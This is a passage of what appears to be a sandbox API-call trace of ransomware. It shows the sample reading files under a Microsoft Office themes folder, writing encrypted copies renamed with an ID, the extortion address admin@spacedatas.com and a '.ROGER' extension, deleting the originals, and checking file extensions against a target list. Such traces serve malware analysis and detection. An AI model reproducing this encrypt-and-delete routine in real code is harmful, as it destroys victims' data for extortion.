[0049.703] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.887] GetLastError () returned 0x0 [0049.887] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x68b, lpOverlapped=0x0) returned 1 [0049.889] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x690, lpOverlapped=0x0) returned 1 [0049.889] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.890] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.890] SetEndOfFile (hFile=0x358) returned 1 [0049.890] CloseHandle (hObject=0x358) returned 1 [0049.890] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.890] SetEndOfFile (hFile=0x390) returned 1 [0049.891] CloseHandle (hObject=0x390) returned 1 [0049.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0049.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.891] lstrlenW (lpString=".doc") returned 4 [0049.891] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.891] lstrlenW (lpString=".docx") returned 5 [0049.891] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.891] lstrlenW (lpString=".pdf") returned 4 [0049.891] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.891] lstrlenW (lpString=".xls") returned 4 [0049.891] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.891] lstrlenW (lpString=".xlsx") returned 5 [0049.891] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.891] lstrlenW (lpString=".ppt") returned 4 [0049.891] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.891] lstrlenW (lpString=".zip") returned 4 [0049.892] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.892] lstrlenW (lpString=".rar") returned 4 [0049.892] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.892] lstrlenW (lpString=".bz2") returned 4 [0049.892] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.892] lstrlenW (lpString=".7z") returned 3 [0049.892] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.892] lstrlenW (lpString=".dbf") returned 4 [0049.892] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.892] lstrlenW (lpString=".1cd") returned 4 [0049.892] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.892] lstrlenW (lpString=".jpg") returned 4 [0049.892] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.892] lstrlenW (lpString=".doc") returned 4 [0049.892] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.892] lstrlenW (lpString=".docx") returned 5 [0049.892] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.892] lstrlenW (lpString=".pdf") returned 4 [0049.892] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.892] lstrlenW (lpString=".xls") returned 4 [0049.892] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.892] lstrlenW (lpString=".xlsx") returned 5 [0049.892] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.892] lstrlenW (lpString=".ppt") returned 4 [0049.892] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.892] lstrlenW (lpString=".zip") returned 4 [0049.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.893] lstrlenW (lpString=".rar") returned 4 [0049.893] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.893] lstrlenW (lpString=".bz2") returned 4 [0049.893] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.893] lstrlenW (lpString=".7z") returned 3 [0049.893] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.893] lstrlenW (lpString=".dbf") returned 4 [0049.893] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.893] lstrlenW (lpString=".1cd") returned 4 [0049.893] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.893] lstrlenW (lpString=".jpg") returned 4 [0049.893] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.893] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.893] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.894] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2668) returned 1 [0049.894] CloseHandle (hObject=0x390) returned 1 [0049.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0049.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.894] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.894] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0049.896] GetLastError () returned 0x0 [0049.896] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xa6c, lpOverlapped=0x0) returned 1 [0049.898] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xa70, lpOverlapped=0x0) returned 1 [0049.899] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.899] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.900] SetEndOfFile (hFile=0x3e8) returned 1 [0049.900] CloseHandle (hObject=0x3e8) returned 1 [0049.900] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.900] SetEndOfFile (hFile=0x390) returned 1 [0049.901] CloseHandle (hObject=0x390) returned 1 [0049.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.901] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0049.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.901] lstrlenW (lpString=".doc") returned 4 [0049.901] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.901] lstrlenW (lpString=".docx") returned 5 [0049.901] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.901] lstrlenW (lpString=".pdf") returned 4 [0049.901] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString=".xls") returned 4 [0049.901] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString=".xlsx") returned 5 [0049.901] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.901] lstrlenW (lpString=".ppt") returned 4 [0049.901] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.901] lstrlenW (lpString=".zip") returned 4 [0049.901] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.902] lstrlenW (lpString=".rar") returned 4 [0049.902] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.902] lstrlenW (lpString=".bz2") returned 4 [0049.902] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.902] lstrlenW (lpString=".7z") returned 3 [0049.902] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.902] lstrlenW (lpString=".dbf") returned 4 [0049.902] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.902] lstrlenW (lpString=".1cd") returned 4 [0049.902] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.902] lstrlenW (lpString=".jpg") returned 4 [0049.902] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.902] lstrlenW (lpString=".doc") returned 4 [0049.902] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.902] lstrlenW (lpString=".docx") returned 5 [0049.902] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.902] lstrlenW (lpString=".pdf") returned 4 [0049.902] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.902] lstrlenW (lpString=".xls") returned 4 [0049.902] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.902] lstrlenW (lpString=".xlsx") returned 5 [0049.902] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.902] lstrlenW (lpString=".ppt") returned 4 [0049.902] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.902] lstrlenW (lpString=".zip") returned 4 [0049.902] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.903] lstrlenW (lpString=".rar") returned 4 [0049.903] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.903] lstrlenW (lpString=".bz2") returned 4 [0049.903] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.903] lstrlenW (lpString=".7z") returned 3 [0049.903] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.903] lstrlenW (lpString=".dbf") returned 4 [0049.903] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.903] lstrlenW (lpString=".1cd") returned 4 [0049.903] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.903] lstrlenW (lpString=".jpg") returned 4 [0049.903] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.903] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.903] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.903] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=42453) returned 1 [0049.903] CloseHandle (hObject=0x390) returned 1 [0049.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0049.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.904] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.904] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0049.904] GetLastError () returned 0x0 [0049.904] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0049.910] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0049.911] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.911] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.911] SetEndOfFile (hFile=0x3e8) returned 1 [0049.911] CloseHandle (hObject=0x3e8) returned 1 [0049.911] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.911] SetEndOfFile (hFile=0x390) returned 1 [0049.912] CloseHandle (hObject=0x390) returned 1 [0049.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.913] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0049.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.913] lstrlenW (lpString=".doc") returned 4 [0049.913] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.913] lstrlenW (lpString=".docx") returned 5 [0049.913] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.913] lstrlenW (lpString=".pdf") returned 4 [0049.913] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.913] lstrlenW (lpString=".xls") returned 4 [0049.913] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.913] lstrlenW (lpString=".xlsx") returned 5 [0049.913] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.913] lstrlenW (lpString=".ppt") returned 4 [0049.913] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.913] lstrlenW (lpString=".zip") returned 4 [0049.913] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.913] lstrlenW (lpString=".rar") returned 4 [0049.913] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.913] lstrlenW (lpString=".bz2") returned 4 [0049.913] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.913] lstrlenW (lpString=".7z") returned 3 [0049.913] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.914] lstrlenW (lpString=".dbf") returned 4 [0049.914] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.914] lstrlenW (lpString=".1cd") returned 4 [0049.914] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.914] lstrlenW (lpString=".jpg") returned 4 [0049.914] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.914] lstrlenW (lpString=".doc") returned 4 [0049.914] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.914] lstrlenW (lpString=".docx") returned 5 [0049.914] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.914] lstrlenW (lpString=".pdf") returned 4 [0049.914] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.914] lstrlenW (lpString=".xls") returned 4 [0049.914] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.914] lstrlenW (lpString=".xlsx") returned 5 [0049.914] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.914] lstrlenW (lpString=".ppt") returned 4 [0049.914] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.914] lstrlenW (lpString=".zip") returned 4 [0049.914] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.914] lstrlenW (lpString=".rar") returned 4 [0049.914] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.914] lstrlenW (lpString=".bz2") returned 4 [0049.914] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.914] lstrlenW (lpString=".7z") returned 3 [0049.914] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.915] lstrlenW (lpString=".dbf") returned 4 [0049.915] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.915] lstrlenW (lpString=".1cd") returned 4 [0049.915] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.915] lstrlenW (lpString=".jpg") returned 4 [0049.915] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.915] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.915] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0049.917] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1571) returned 1 [0049.918] CloseHandle (hObject=0x3a0) returned 1 [0049.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0049.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0049.918] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.918] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.918] CreateFileW 